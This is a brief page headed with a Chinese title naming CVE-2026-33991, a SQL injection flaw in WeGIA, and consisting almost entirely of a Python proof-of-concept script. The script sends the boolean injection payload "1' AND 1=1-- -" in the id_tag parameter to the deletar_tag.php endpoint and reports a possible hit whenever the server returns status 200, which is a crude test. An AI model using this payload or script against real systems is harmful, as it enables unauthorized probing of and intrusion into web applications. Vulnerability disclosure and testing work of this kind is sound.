CVE-2026-33991 WeGIA SQL注入漏洞

import requests def check_sqli(url): # Define the target endpoint target = f"{url}/html/socio/sistema/deletar_tag.php" # Simple SQL Injection payload for testing # Using logical condition to check for vulnerability payload = "1' AND 1=1-- -" params = { "id_tag": payload } try: response = requests.get(target, params=params, timeout=5) # Analyze response logic depends on application behavior if response.status_code == 200: print(f"Potential SQL Injection found at {target}") print(f"Response: {response.text[:100]}") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target_url = "http://localhost" # Replace with actual target check_sqli(target_url)